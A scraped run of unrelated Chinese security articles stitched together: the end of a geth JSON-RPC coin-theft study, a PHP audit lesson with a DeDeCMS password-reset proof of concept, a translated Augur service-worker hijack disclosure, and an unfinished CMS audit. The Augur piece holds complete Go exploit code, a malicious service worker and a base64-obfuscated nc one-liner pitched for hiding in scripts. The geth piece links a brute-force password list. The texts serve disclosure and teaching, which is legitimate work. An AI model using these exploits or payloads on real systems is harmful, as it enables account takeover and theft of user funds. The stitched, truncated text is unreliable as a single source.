在 `3.5.1` 节中，蜜罐捕获到对 `parity_exportAccount`
接口的攻击。根据官方手册，攻击者需要输入账号地址和对应的密码，如果正确将会导出以json格式导出钱包。
看过 `1.2`、`1.3` 节中的知识点、偷渡漏洞、后偷渡时代的利用方式的介绍，需要意识到：一旦攻击者攻击成功，私钥将会泄漏，攻击者将能完全控制该地址。
#### 3.6.2 clef 中的 account_export 接口
该软件是 `geth` 中一个仍未正式发布的测试软件。其中存在一个导出账户的接口 `account_export`。
通过 `curl -XPOST http://localhost:8550/ -d '{"id": 5,"jsonrpc": "2.0","method"
: "account_export","params": ["0xc7412fc59930fd90099c917a50e5f11d0934b2f5"]}'
--header "Content-Type: appli cation/json"`
命令可以调用该接口导出相关账号信息。值得一提的是，在接口存在一定的安全机制，需要用户同意之后才会导出账号。
虽然该接口目前仍算安全，但由于不需要密码即可导出keystore文件内容的特性，值得我们持续关注。
### 3.7 后偷渡时代的防御方案
相较于 `3.1` 节已有的防御方案，后偷渡时代更加关注账户和私钥安全。
1. 对于有被偷渡漏洞攻击的痕迹或可能曾经被偷渡漏洞攻击过的节点，建议将节点上相关账户的资产转移到新的账户后废弃可能被攻击过的账户。
2. 建议用户不要使用弱口令作为账户密码，如果已经使用了弱口令，可以根据1.2节末尾的内容解出私钥内容，再次通过 `geth account import` 命令导入私钥并设置强密码。
3. 如节点不需要签名转账等操作，建议节点上不要存在私钥文件。如果需要使用转账操作，务必使用 `personal_sendTransaction` 接口，而非 `personal_unlockAccount` 接口。
## 0x04 总结
在这个属于区块链的风口上，实际落地仍然还有很长的路需要走。后偷渡时代的离线漏洞中出现的 `区块链记录的交易时间不一定是交易签名时间`
这一问题就是落地过程中的阻碍之一。
区块链也为攻击溯源带来了巨大的阻碍。一旦私钥泄漏，攻击者可以在任何地方发动转账。而由于区块链分布式存储的原因，仅仅通过区块链寻找攻击者的现实位置也变得难上加难。
就 `Go Ethereum JSON-RPC` 盗币漏洞而言，涉及到多个方面的多个问题：以太坊底层签名的内容、`geth` 客户端
`unlockAccount`
实现的问题、分布式网络导致的重放问题，涉及的范围之广也是单个传统安全领域较难遇到的。这也为安全防御提出了更高的要求。只有从底层了解相关原理、对可能出现的攻击提前预防、经验加技术的沉淀才能在区块链的安全防御方面做到游刃有余。
虚拟货币价值的攀升，赋予了由算法和数字堆砌的区块链巨大的金融价值，也会让 `盗币者`
竭尽所能从更多的方面实现目标。`金钱难寐，大盗独行`，也许会是这个漏洞最形象的描述。
* * *
**智能合约审计服务**
针对目前主流的以太坊应用，知道创宇提供专业权威的智能合约审计服务，规避因合约安全问题导致的财产损失，为各类以太坊应用安全保驾护航。
知道创宇404智能合约安全审计团队： <https://www.scanv.com/lca/index.html>
联系电话：(086) 136 8133 5016(沈经理，工作日:10:00-18:00)
欢迎扫码咨询：
**区块链行业安全解决方案**
黑客通过DDoS攻击、CC攻击、系统漏洞、代码漏洞、业务流程漏洞、API-Key漏洞等进行攻击和入侵，给区块链项目的管理运营团队及用户造成巨大的经济损失。知道创宇十余年安全经验，凭借多重防护+云端大数据技术，为区块链应用提供专属安全解决方案。
欢迎扫码咨询：
## 参考链接
1. [What is an Ethereum keystore file?](https://medium.com/@julien.maffre/what-is-an-ethereum-keystore-file-86c8c5917b97)
2. [Key_derivation_function](https://en.wikipedia.org/wiki/Key_derivation_function)
3. [15.1. hashlib — Secure hashes and message digests](https://docs.python.org/3/library/hashlib.html)
4. [对比一下ecdsa与secp256k1-py从私钥生成公钥](https://steemit.com/python/@oflyhigh/ecdsa-secp256k1-py)
5. [Ethereum JSON RPC](https://github.com/ethereum/wiki/wiki/JSON-RPC)
6. [how-to-create-raw-transactions-in-ethereum-part-1-1df91abdba7c](https://medium.com/blockchain-musings/how-to-create-raw-transactions-in-ethereum-part-1-1df91abdba7c)
7. [椭圆曲线密码学和以太坊中的椭圆曲线数字签名算法应用](https://blog.csdn.net/teaspring/article/details/77834360)
8. [Web3-Secret-Storage-Definition](https://github.com/ethereum/wiki/wiki/Web3-Secret-Storage-Definition)
9. [Management-APIs](https://github.com/ethereum/go-ethereum/wiki/Management-APIs#personal_unlockaccount)
10. [RPC: add personal_signTransaction: [tx, pw]](https://github.com/ethereum/go-ethereum/issues/15953)
11. [Possible BUG - somebody took 50 ETH from my wallet immediately after successful transaction](https://github.com/ethereum/go-ethereum/issues/17011)
12. [RLP 英文版](https://github.com/ethereum/wiki/wiki/RLP)
13. [RLP 中文版](https://github.com/ethereum/wiki/wiki/%5B%E4%B8%AD%E6%96%87%5D-RLP)
14. [Private-network](https://github.com/ethereum/go-ethereum/wiki/Private-network)
15. [How do I get the raw private key from my Mist keystore file?](https://ethereum.stackexchange.com/questions/3720/how-do-i-get-the-raw-private-key-from-my-mist-keystore-file)
16. [以太坊源码分析-交易](https://tianyun6655.github.io/2017/09/24/%E4%BB%A5%E5%A4%AA%E5%9D%8A%E6%BA%90%E7%A0%81%E4%BA%A4%E6%98%93/)
17. [Ethereum交易详解](https://github.com/linjie-1/guigulive-operation/wiki/Ethereum%E4%BA%A4%E6%98%93%E8%AF%A6%E8%A7%A3)
18. [Life Cycle of an Ethereum Transaction](https://medium.com/blockchannel/life-cycle-of-an-ethereum-transaction-e5c66bae0f6e)
19. [以太坊生态缺陷导致的一起亿级代币盗窃大案](https://mp.weixin.qq.com/s/Kk2lsoQ1679Gda56Ec-zJg)
20. [揭秘以太坊中潜伏多年的“偷渡”漏洞，全球黑客正在疯狂偷币](https://paper.seebug.org/547/)
21. [慢雾社区小密圈关于以太坊情人节升级攻击的情报](https://wx.zsxq.com/mweb/views/topicdetail/topicdetail.html?topic_id=48528228854228&user_id=28284511858111)
22. [以太坊离线钱包](https://www.jianshu.com/p/4c106ccd2aa9)
23. [以太坊实战之《如何正确处理nonce》](https://blog.csdn.net/wo541075754/article/details/78081478)
## 附录
### 1\. 爆破 unlockAccount 接口使用的密码列表
[密码列表](https://images.seebug.org/archive/password_8545_eth.dat)
* * * | 社区文章 |
本文由红日安全成员： **l1nk3r** 编写，如有不当，还望斧正。
## 前言
大家好，我们是红日安全-代码审计小组。最近我们小组正在做一个PHP代码审计的项目，供大家学习交流，我们给这个项目起了一个名字叫 **PHP-Audit-Labs** 。现在大家所看到的系列文章，属于项目 **第一阶段** 的内容，本阶段的内容题目均来自 [PHP SECURITY CALENDAR
2017](https://www.ripstech.com/php-security-calendar-2017/)
。对于每一道题目，我们均给出对应的分析，并结合实际CMS进行解说。在文章的最后，我们还会留一道CTF题目，供大家练习，希望大家喜欢。下面是 **第4篇**
代码审计文章：
## Day 4 - False Beard
题目名字叫假胡子，代码如下：
**题目解析：**
我们看到 **第11行** 和 **第12行** ，程序通过格式化字符串的方式，使用 **xml**
结构存储用户的登录信息。实际上这样很容易造成数据注入。然后 **第21行** 实例化 **Login** 类，并在 **第16行** 处调用
**login** 方法进行登陆操作。在进行登录操作之前，代码在 **第8行** 和 **第9行** 使用 **strpos** 函数来防止输入的参数含有
**<** 和 **>** 符号，猜测开发者应该是考虑到非法字符注入问题。我们先来看一下 **strpos** 函数的定义：
> **[strpos](http://php.net/manual/zh/function.strpos.php)** — 查找字符串首次出现的位置
>
> 作用：主要是用来查找字符在字符串中首次出现的位置。
>
> 结构：`int strpos ( string $haystack , mixed $needle [, int $offset = 0 ] )`
在上面这个例子中， **strpos** 函数返回查找到的子字符串的下标。如果字符串开头就是我们要搜索的目标，则返回下标 **0** ；如果搜索不到，则返回
**false** 。在这道题目中，开发者只考虑到 **strpos** 函数返回 **false** 的情况，却忽略了匹配到的字符在首位时会返回
**0** 的情况，因为 **false** 和 **0** 的取反均为 **true** 。这样我们就可以在用户名和密码首字符注入 **<**
符号，从而注入xml数据。我们尝试使用以下 **payload** ，观察 **strpos** 函数的返回结果。
user=<"><injected-tag%20property="&pass=<injected-tag>
如上图所示，很明显是可以注入xml数据的。
## 实例分析
实际上，本次漏洞是开发者对 **strpos** 函数理解不够，或者说是开发者考虑不周，导致过滤方法可被绕过。由于我们暂时没有在互联网上找到
**strpos** 使用不当导致漏洞的CMS案例，所以这里只能选取一个相似的漏洞进行分析，同样是开发者验证不够周全导致的漏洞。
本次案例，我们选取 **DeDecms V5.7SP2正式版** 进行分析，该CMS存在未修复的任意用户密码重置漏洞。漏洞的触发点在
**member/resetpassword.php** 文件中，由于对接收的参数 **safeanswer**
没有进行严格的类型判断，导致可以使用弱类型比较绕过。我们来看看相关代码：
针对上面的代码做个分析，当 **$dopost** 等于 **safequestion** 的时候，通过传入的 **$mid** 对应的 **id**
值来查询对应用户的安全问题、安全答案、用户id、电子邮件等信息。跟进到 **第11行** ，当我们传入的问题和答案非空，而且等于之前设置的问题和答案，则进入
**sn** 函数。然而这里使用的是 **==** 而不是 **===**
来判断，所以是可以绕过的。假设用户没有设置安全问题和答案，那么默认情况下安全问题的值为 **0** ，答案的值为 **null** （这里是数据库中的值，即
**$row['safequestion']="0"** 、 **$row['safeanswer']=null** ）。当没有设置
**safequestion** 和 **safeanswer** 的值时，它们的值均为空字符串。第11行的if表达式也就变成了 **if('0' ==
'' && null == '')** ，即 **if(false && true)** ，所以我们只要让表达式
**$row['safequestion'] == $safequestion** 为 **true** 即可。下图是 **null == ''**
的判断结果：
我们可以利用 **php弱类型** 的特点，来绕过这里 **$row['safequestion'] == $safequestion** 的判断，如下：
通过测试找到了三个的payload，分别是 **0.0** 、 **0.** 、 **0e1** ，这三种类型payload均能使得
**$row['safequestion'] == $safequestion** 为 **true** ，即成功进入 **sn** 函数。跟进
**sn** 函数，相关代码在 **member/inc/inc_pwd_functions.php** 文件中，具体代码如下：
在 **sn** 函数内部，会根据id到pwd_tmp表中判断是否存在对应的临时密码记录，根据结果确定分支，走向 **newmail**
函数。假设当前我们第一次进行忘记密码操作，那么此时的 **$row** 应该为空，所以进入第一个 **if(!is_array($row))** 分支，在
**newmail** 函数中执行 **INSERT** 操作，相关操作代码位置在 **member/inc/inc_pwd_functions.php**
文件中，关键代码如下：
该代码主要功能是发送邮件至相关邮箱，并且插入一条记录至 **dede_pwd_tmp** 表中。而恰好漏洞的触发点就在这里，我们看看 **第13行** 至
**第18行** 的代码，如果 **($send == 'N')** 这个条件为真，通过 **ShowMsg** 打印出修改密码功能的链接。
**第17行** 修改密码链接中的 **$mid** 参数对应的值是用户id，而 **$randval** 是在第一次 **insert** 操作的时候将其
**md5** 加密之后插入到 **dede_pwd_tmp** 表中，并且在这里已经直接回显给用户。那么这里拼接的url其实是
http://127.0.0.1/member/resetpassword.php?dopost=getpasswd&id=$mid&key=$randval
继续跟进一下 **dopost=getpasswd** 的操作，相关代码位置在 **member/resetpassword.php** 中，
在重置密码的时候判断输入的用户id是否执行过重置密码，如果id为空则退出；如果 **$row** 不为空，则会执行以下操作内容，相关代码在
**member/resetpassword.php** 中。
上图代码会先判断是否超时，如果没有超时，则进入密码修改页面。在密码修改页面会将 **$setp** 赋值为2。
由于现在的数据包中 **$setp=2** ，因此这部分功能代码实现又回到了 **member/resetpassword.php** 文件中。
上图代码 **第6行** 判断传入的 **$key** 是否等于数据库中的 **$row['pwd']**
，如果相等就完成重置密码操作，至此也就完成了整个攻击的分析过程。
## 漏洞验证
我们分别注册 **test1** ， **test2** 两个账号
第一步访问 **payload** 中的 **url**
http://127.0.0.1/dedecms/member/resetpassword.php?dopost=safequestion&safequestion=0.0&safeanswer=&id=9
这里 **test2** 的id是9
通过抓包获取到 **key** 值。
去掉多余的字符访问修改密码链接
http://192.168.31.240/dedecms/member/resetpassword.php?dopost=getpasswd&id=9&key=OTyEGJtg
最后成功修改密码，我将密码修改成 **123456** ，数据库中 **test2** 的密码字段也变成了 **123456** 加密之后的值。
## 修复建议
针对上面 **DeDecms任意用户密码重置** 漏洞，我们只需要使用 **===** 来代替 **==** 就行了。因为 **===**
操作会同时判断左右两边的值和数据类型是否相等，若有一个不等，即返回 **false** 。具体修复代码如下：
## 结语
看完了上述分析，不知道大家是否对 **strpos使用不当** 引发的漏洞有了更加深入的理解，文中用到的代码可以从
[这里](http://updatenew.dedecms.com/base-v57/package/DedeCMS-V5.7-UTF8-SP2.tar.gz)
下载，当然文中若有不当之处，还望各位斧正。如果你对我们的项目感兴趣，欢迎发送邮件到 **[email protected]** 联系我们。
**Day4** 的分析文章就到这里，我们最后留了一道CTF题目给大家练手，题目如下：链接:
<https://pan.baidu.com/s/1pHjOVK0Ib-tjztkgBxe3nQ> 密码: 59t2 | 社区文章 |
# 如何通过休眠服务劫持Augur
|
##### 译文声明
本文是翻译文章，文章来源：medium.com
原文地址：<https://medium.com/@peter_szilagyi/augur-hijack-via-dormant-service-workers-bea254258f98>
译文仅供参考，具体内容表达以及含义原文为准。
## 一、前言
这份漏洞报告已于3星期之前发送给Augur，现在经对方允许我将漏洞细节公开。虽然攻击过程本身有点复杂，在实际环境中难以实现，但的确是一种通用型攻击方法，可以适用于多个去中心化应用。
## 二、Augur简介
目前Augur的架构主要由3个独立的层所组成：
1、在最底层，Augur包含建立在以太坊（Ethereum）之上的一系列智能合约（smart
contract）。这层由全局区块链驱动，可以通过由用户或者可信远程实体操作的网关节点来访问。
2、在中间层，Augur包含一个中间服务层，使用（可信）以太坊作为数据源，根据合约日志构建数据库，为基于web的UI提供预先准备好的数据。
3、在最上层，Augur包含由可信Augur节点提供的web UI，用户可以通过 **本地浏览器**
访问`http://localhost:8080`地址来与web UI交互。
在本文中，我们假设以太坊网络、网关以及Augur网关都为可信单元，并且处于正常运行状态。本文攻击的是链条的最后一个环节，即用户端的浏览器，最终实现将任意代码注入Augur
UI中。
## 三、Service Worker简介
> Service
> Worker是独立于web页面，由浏览器在后台运行的一个脚本，可以提供不需要web页面或者用户交互的服务，其核心功能是拦截并处理网络请求。
>
> ~Google Developers
简单总结一下，Service
Worker是现在所有Web浏览器都支持的一种技术，允许网站注册以后台线程形式运行的任意JavaScript，其主要目的是允许脱机缓存，此时Service
Worker可以劫持网络请求并为其提供服务（包括任意更改网络请求）。当用户不具备互联网连接时，Service
Worker可以让JavaScript代码充当临时服务器提供服务。
如果大家想了解更多细节，可以参考[Google开发者页面](https://developers.google.com/web/fundamentals/primers/service-workers/)。从本文的角度来看，（除劫持网络请求这个核心功能以外）最有趣的地方在于Service Work的生命周期以及威胁模型：
1、站点可以在任意时间点安装Service Worker。这个 **Service Worker会一直处于有效执行状态，除非被显式取消注册为止**
。即使页面刷新、完全强制刷新甚至浏览器重启，Service Worker都会处于正常工作状态。Service
Worker并没有与伺服的特定内容绑定，即使面对全新的、不相关的内容，之前注册的Service Worker也会处于活跃状态。
2、不管从哪个角度来看，从设计方面讲Service
Worker天然就是一种MITM攻击，因此存在非常严格的限制策略，只能从HTTPS来运行（确保网站只能注册代码，劫持属于自己的内容），并且注册的源与运行的源必须完全匹配（最严格的同源策略）。然而，
**`localhost`并不受如此严格的限制策略影响**，这样开发者工作起来就比较轻松。
总结出这两点后，我相信大家心里面已经有点数了。
## 四、漏洞利用细节
本文介绍的攻击思路用到了两方面技术，一是滥用现代浏览器的Service
Worker安全策略，二是利用了Augur在浏览器中运行UI这种设计特点，将两者结合起来后，可以实现无缝劫持所有的Augur通信数据，同样也能将任意代码无缝注入Augur的UI：
1、Augur的UI运行在`http://localhost:8080`，从SSL角度来看并没有经过身份认证。我们无法证明来自不同会话的代码是否属于（或不属于）同一个（或不同的）应用；
2、浏览器会将`localhost`当成开发环境，因此允许站点在没有使用SSL认证的情况下安装并执行Service Worker；
3、Service
Worker在浏览器中处于休眠状态（没有缓存控制，无法预先检测），每次加载相同的源（`http://localhost:8080`）时就会执行。
### 投递载荷
为了劫持Augur，我们首先需要在`localhost:8080`安装一个Service
Worker。该任务至少需要我们在目标主机上运行一次Web服务器，并在用户浏览器加载Augur之前至少加载一次`localhost:8080`。
在分析这个操作的难度之前，我们先演示更加直观的一种方法，以便更好理解攻击过程。先来看看Go语言版本的完全自包含的一段漏洞利用示例代码：
package main
import (
"fmt"
"net/http"
)
func main() {
// Start a web-server on port 8080, serving the demo HTML and JS injector
http.HandleFunc("/", func(w http.ResponseWriter, r *http.Request) {
fmt.Fprint(w, index)
})
http.HandleFunc("/pwner.js", func(w http.ResponseWriter, r *http.Request) {
w.Header().Set("Content-Type", "text/javascript")
fmt.Fprint(w, pwner)
})
http.ListenAndServe(":8080", nil)
}
var index = `
<html>
<script>
if ('serviceWorker' in navigator) {
navigator.serviceWorker.register('/pwner.js')
.then(function(registration) {
console.log('Registration successful, scope is:', registration.scope);
})
.catch(function(error) {
console.log('Service worker registration failed, error:', error);
});
}
</script>
<img id='gopher'/>
<script>
setTimeout(function() {
document.getElementById('gopher').src = 'https://gophercises.com/img/gophercises_jumping.gif';
}, 1000)
</script>
</html>
`
var pwner = `
// Inject ourselves as the base service worker for Augur
self.addEventListener('install', function(event) {
console.log('Service worker installing...');
self.skipWaiting();
});
self.addEventListener('activate', function(event) {
console.log('Service worker activating...');
clients.claim();
});
// Hijack and HTTP requests, we're looking for script loads
self.addEventListener('fetch', function(event) {
console.log('Fetching:', event.request.url);
if (event.request.url.startsWith("http://localhost:8080/main.")) {
// Main Augur application is loading, inject our custom script into it
event.respondWith(fetch(event.request.url)
.then(function(response) {
return response.text();
})
.then(function(text) {
return new Response(text + 'nsetTimeout(function() { alert("You are Pwned!") }, 3000);');
}));
}
});
`
这段代码主要做了如下工作：
1、启动一个Go web服务器，提供两个URI服务地址，`/`用于索引，`pwner.js`用于Service Worker劫持；
2、`index.html`页面包含一小段脚本，该脚本将`/pwner.js`注册为Service Worker，同时还会显示一只跳跃的地鼠，增加趣味性；
3、`/pwner.js`这个Service
Worker是一段简单的脚本，会劫持所有的网络请求，为每个请求打印日志，如果碰到与`main.js`（Augur的代码）有关的请求，就会在末尾注入任意一些JavaScript代码。
我们可以使用`go run
exploit.go`命令运行上述代码（你也可以将这些代码保存为任意文件名），然后从浏览器中加载这个页面。浏览器会显示一只地鼠，没有其他信息。然而如果我们查看JavaScript控制台，应该能够看到如下几行内容：
Registration successful, scope is: http://localhost:8080/
pwner.js:4 Service worker installing…
pwner.js:9 Service worker activating…
pwner.js:15 Fetching: https://gophercises.com/img/gophercises_jumping.gif
此时我们可以停止运行Go攻击服务器，关闭浏览器。劫持脚本已经成功注入，可以拦截`localhost:8080`源上的任意内容。
### 执行载荷
随着时间的推移（我们可以耐心等待，不要着急），用户终于通过官方仓库以及/或者客户端下载并启动Augur。随后Augur
App会启动，从以太坊网络同步本地数据库。当同步完成后，用户按下“Open Augur App”按钮，从用户浏览器中的应用加载Augur UI界面。
此时我们先前创建的处于休眠状态的Service
Worker就会开始执行，劫持UI与后端服务之间的所有网络流量。这样我们就可以任意修改用户和服务之间的数据流，同样也可以将任意JavaScript代码注入UI中。
比如文章开头那张图中，我们注入了一段JavaScript警告代码，显示“You are Pwned!”信息。
## 五、影响范围
这个漏洞的影响范围其实非常广泛。既然已经完全控制UI与后端服务器之间的网络流量，也完全控制了UI展示的内容，攻击者现在可以显示任意的Augur市场、股份、统计数据等。
攻击者并没有直接控制用户的资金，无法直接让用户签名无效交易。然而，通过修改市场描述和统计数据，攻击者可以说服用户发起失败的投资（比如颠倒获胜条件），从而让用户损失惨重。攻击者可以进一步在劫持的市场上对赌，直接获取大量利益。
从技术角度来看，该漏洞之所以影响程度较大，是因为无需特权就能利用，只需运行一次，就能在用户系统中永远处于待命状态，并且使用的是完全合法的浏览器功能，因此没有任何漏洞检测软件能够捕获这种方法。
## 六、实际攻击
利用过程中最难的一点是如何在第一时间用于最终用户。如前文所述，浏览器会对Service
Worker强制启用同源安全策略，因此在用户系统上唯一能攻击Augur的方法就是让用户从`localhost:8080`加载一个恶意页面。
前面的Go代码的确是非常好的演示代码，但显然不适用于实际利用场景。我们需要更好的社会工程学方法，将利用载荷投递给用户系统。
### Bash命令
现在攻击加密货币用户的一种常见方法就是让用户从各种网页或者聊天消息中复制代码然后粘贴到终端中。虽然这种方法听起来比较愚笨，但的确行之有效，如果攻击过程中不需要root访问权限那会更加有用。
如下这段bash命令只包含791个字符，但功能齐全，可以提供2个不同的网页，自动让用户浏览器加载这些网页并注册Service Worker。
echo SFRUUC8xLjEgMjAwIE9LDQoNCjxzY3JpcHQ+bmF2aWdhdG9yLnNlcnZpY2VXb3JrZXIucmVnaXN0ZXIoJycpPC9zY3JpcHQ+ | base64 -d | nc -lN 8080 > /dev/null && echo SFRUUC8xLjEgMjAwIE9LDQpDb250ZW50LVR5cGU6IHRleHQvamF2YXNjcmlwdA0KDQpzZWxmLmFkZEV2ZW50TGlzdGVuZXIoImluc3RhbGwiLGZ1bmN0aW9uKGV2ZW50KXtzZWxmLnNraXBXYWl0aW5nKCl9KTtzZWxmLmFkZEV2ZW50TGlzdGVuZXIoImZldGNoIixmdW5jdGlvbihldmVudCl7aWYoZXZlbnQucmVxdWVzdC51cmwuc3RhcnRzV2l0aCgiaHR0cDovL2xvY2FsaG9zdDo4MDgwL21haW4uIikpe2V2ZW50LnJlc3BvbmRXaXRoKGZldGNoKGV2ZW50LnJlcXVlc3QudXJsKS50aGVuKGZ1bmN0aW9uKHJlc3BvbnNlKXtyZXR1cm4gcmVzcG9uc2UudGV4dCgpfSkudGhlbihmdW5jdGlvbih0ZXh0KXtyZXR1cm4gbmV3IFJlc3BvbnNlKHRleHQrYApzZXRUaW1lb3V0KGZ1bmN0aW9uKCl7YWxlcnQoIllvdSBhcmUgUHduZWQhIil9LDMwMDApYCl9KSl9fSkK | base64 -d | nc -lN 8080 > /dev/null & xdg-open http://localhost:8080
这段代码看上去人畜无害，攻击者可以轻松将其隐藏在功能正常的一大段脚本中。由于注入动作不需要立即执行，因此受漏洞影响的用户很难觉察到主机上存在一个等待运行的休眠载荷。
### 劫持8080服务
`localhost`上的`8080`端口通常是Web服务的标准端口。Web开发者也已经习惯了在上面运行所开发的代码。许多服务、监控工具等也喜欢在类似`8080`的端口上运行。这意味着在开发者主机上劫持`8080`端口很有可能会成功，因此该操作只需要在任何Web依赖中添加几行代码，运行一次后就可以永久删除，不会留下痕迹。
虽然开发者可能不愿意在主机上运行任意代码（但实话实说，我们都运行了GitHub上的这段脚本，具体原因不表），但这个漏洞非常烦人，因为它可以运行在完全沙盒化的环境中（用户的浏览器），因此没人会想到简单的一次页面加载会在系统上留下任意攻击代码。
## 七、建议
从本质上讲，用于`origin`冲突，通过用户浏览器从`localhost`运行Augur
UI貌似不是最好的决定。浏览器总是会将`localhost`当成一个特殊的对象，如果再遇上安全策略，可以想象到未来有很多漏洞能够源自于此。如果Augur在许多功能上都要依赖Electron，那么可以考虑捆绑整个浏览器一起发布，并且单独为Augur提供专用进程。这样就能阻止其他浏览器会话将恶意脚本泄露给新的浏览器。
在`8080`端口上运行也不是一个明智的选择，这与其他许多服务商有冲突，也与开发者的默认选择有冲突。在不常用的其他端口上提供服务应该不会对用户体验造成太大影响，但攻击这个端口会比攻击`8080`常用端口要困难得多。
原文链接：https://medium.com/@peter_szilagyi/augur-hijack-via-dormant-service-workers-bea254258f98 | 社区文章 |
# 凡诺企业网站管理系统V3.0代码审计
##### 译文声明
本文是翻译文章
译文仅供参考，具体内容表达以及含义原文为准。
## 0×00 前言
大家好，我是掌控安全学院的聂风，在此，我做一个代码审计的文章分享来方便同学们学习。我逛了逛CNVD，发现有一个叫做凡诺企业网站管理系统的后台SQL注入，5月30日发布，到7月中旬已经20多万的点击量，位列CNVD点击量的第三名，这次代码审计决定通读全文来审计该CMS.
## 0×01 环境搭建
Phpstudy
fannuo_php_3.0免费版源码（http://www.pcfinal.cn/channel/ecms.html）
代码审计工具（Seay源代码审计系统）
## 0×02 代码审计过程
源码放入网站根目录，然后去访问Web地址，然后自动跳转到了安装界面，来分析分析源码。
第一开始访问到的是install/index.php文件，这个文件包含了函数库
include(‘../system/library.php’);
然后开始细细读取代码，发现我们填入的数据会直接写入/system/data.php
于是乎突发奇想，想试试能不能直接插入一句话木马，结果CMS的开发也考虑到了这个问题，
如果连接失败的的时候，写入的东西都在注释中，于是乎就想跳出注释，尝试了好多方法都没解决，然后就放弃这里了，安装这个文件颇为简单，就是将正确的数据库连接什么的写入data.php，然后将默认数据导入数据库,且将index.php重命名为index.lock。
默认账号密码：admin admin
安装完毕后，我们打开根目录index.php这个文件
包含 inc.php和 safe.php
这里有个自定义函数ism() 查看了一下，实际上是返回一个false,那么这里就是包含了$dir.$t_path.index.php
我们去看看inc.php里面有什么吧
Inc.php作用：
$dir = __FILE__
包含system目录下的四个文件
conn.php、library.php、config.php、function.php
conn.php作用：
设置了时区、编码，开启了session，缓冲激活（ob_start）,然后文件包含了data.php，就是数据库的连接配置文件。然后选择了数据库，指定了数据库格式是utf-8.
Config作用：
从数据库中的cms_system表中取id=1得数据，然后赋值给各种变量,然后执行数据库查询语句，会将cms_system中得到的s_template、
s_mtemplate 两个字段值 一个是1 还有一个是m1
,然后将这两个数值作为t_path字段的条件去查询cms_template。好吧，里面只是一些图片而已，是Logo。 1代表电脑模板1
,m1代表手机模板2，然后又定义了各种各样函数（这个地方记录一下，如果cms_system表中的s_template、s_mtemplate字段可以控制的话，那就有可能存在一个二次注入）
里面还定义了 $t_mpath =/template/m1/
Library.php和Function.php定义各种各样的函数（遇到函数跳过去就行，到时候用到来查）
那么我们现在知道了
$t_mpath =/template/m1/
$t_path =/template/1
$dir = __FILE__
$dir.$t_path.index.php => __FILE__/template/1/index.php
我们再看看safe.php这个文件
一打开就是三个正则，是对GET|POST|Cookie传参的过滤，感觉是过滤SQL注入和XSS的
$getfilter="'|(and|or)\\b.+?(>|<|=|in|like)|\\/\\*.+?\\*\\/|<\\s*script\\b|\\bEXEC\\b|UNION.+?SELECT|UPDATE.+?SET|INSERT\\s+INTO.+?VALUES|(SELECT|DELETE).+?FROM|(CREATE|ALTER|DROP|TRUNCATE)\\s+(TABLE|DATABASE)";
$postfilter="\\b(and|or)\\b.{1,6}?(=|>|<|\\bin\\b|\\blike\\b)|\\/\\*.+?\\*\\/|<\\s*script\\b|\\bEXEC\\b|UNION.+?SELECT|UPDATE.+?SET|INSERT\\s+INTO.+?VALUES|(SELECT|DELETE).+?FROM|(CREATE|ALTER|DROP|TRUNCATE)\\s+(TABLE|DATABASE)";
$cookiefilter="\\b(and|or)\\b.{1,6}?(=|>|<|\\bin\\b|\\blike\\b)|\\/\\*.+?\\*\\/|<\\s*script\\b|\\bEXEC\\b|UNION.+?SELECT|UPDATE.+?SET|INSERT\\s+INTO.+?VALUES|(SELECT|DELETE).+?FROM|(CREATE|ALTER|DROP|TRUNCATE)\\s+(TABLE|DATABASE)";
先不分析，先看完这个文件吧(这个是360的通用防护)
定义了一个函数，StopAttack ，当正则匹配到了就输出非法操作，然后匹配不分大小写，任意匹配不匹配换行（\n），然后怎么匹配就看上面的正则了。
这个安全机制我觉得可以绕过，因为不仅仅是存在GET POST COOKIE 传参，还有一些IP agent-User之类的也可能会去获取，那么这里获取这些岂不是就可以绕过安全限制了（ip我看了，他居然有检测，Ip不用想了，用了
ip2long，如果返回False就设定ip为0.0.0.0)
我们来查看$dir.$t_path.index.php => __FILE__/template/1/index.php
（这个页面HTML和PHP混合页面）
然后看到了第10行的<?php include($dir.$t_path.’inc_head.php’);?> 包含了inc_head.php文件
Inc_head.php里面实际上是一些Js和css脚本地址的定义，是由$s_path来控制的，如果我们控制的了这个，那么可以尝试打一个XSS 。
然后又是一个文件包含
include($dir.$t_path.'inc_header.php')
于是乎查看下inc_header.php这个文件（就是个页面顶部构成，就是查询cms_channel表里面的数据，然后输出，数据就是模块标题什么的）
然后后面第53行那个语句也差不多，只是换了一个表cms_slideshow
然后81行我看到了第一个表单，GET请求search.php
看到下面还去查询了cms_detail的数据然后输出
还有cms_link也有输出
看到318行又是喜闻乐见的文件包含
<?php include($dir.$t_path.'inc_footer.php');?>
Inc_footer.php文件里面也没啥有营养的东西，留了一个网站的导航，咦~第19行居然调用了第一个函数get_chip(1)
有点小兴奋，我们去看看她是干什么的，赶紧的找一找，在Config.php文件的第110行被定义。
他去查询cms_chip表里面的数据，然后输出c_content字段的值
后面就没什么东西了，我们算是看完了这整个index.php文件，然后我们收获了什么，遇到的东西都记录下？
$s_path 决定的href的链接方向（Js css ）,可控制就代表构建XSS
有输出的表（如果能改里面数据就可能有XSS）：
cms_slideshow
cms_channel
cms_detail
cms_link
get_chip() 函数我能控制值就能尝试SQL注入(拿好小本本记录下)
然后我们去看这文件吧
search.php
（注：我们这里是index包含文件中西得search.php的表单地址，那么相对路径是index.php的同级目录，我这里差点没注意，因为index.php包含的文章中有template文件夹下面1的index.php,那个文件夹内也有search.php）
这个文件还是老一套的包含inc.php和system/safe.php
然后GET接受Key的传参，然后赋值给$key 然后调用template/1/search.php。
然后文件执行SQL语句
$sql = 'select id,d_name,d_picture,d_scontent,d_date from cms_detail where d_name like "%'.$key.'%" order by d_order desc , id desc';
我尝试构建了语句发现（我现在是先删除了Safe.php文件的）
select id,d_name,d_picture,d_scontent,d_date from cms_detail where d_name like "%1%\"order by d_order desc , id desc and sleep(5) -- %" order by d_order desc , id desc limit 0,20
咦？怎么会有转译符号，魔术引号我没有开呀，那就开始排查吧。我找到search.php，在文件最上面写输出$key，输出的时候已经被转译了，经过测试，发现是inc.php文件造成的，仔细找了找，我在system中的livrary.php文件中的第35行看到了（这个CMS感觉安全性很强呀！）
用了这么个函数addslashes_deep() 这是个自定义函数，在library.php的第47行
如果是数组，就拆分开来执行，反正就是要执行addslashes() 只能依靠编码了，如果绕过了编码那么safe那个文件的正则也能绕过。
好吧，我们接着会search.php文件，下面就是一个分页和时间，完全没有办法呀
我们看看关于我们这个板块吧channel.php
这文件也没什么亮点，唯独就是cms_channel的$c_parent 和 $c_id 字段可以控制也可以尝试二次注入
最下面是读取频道模型
c_article.php
c_article_d.php
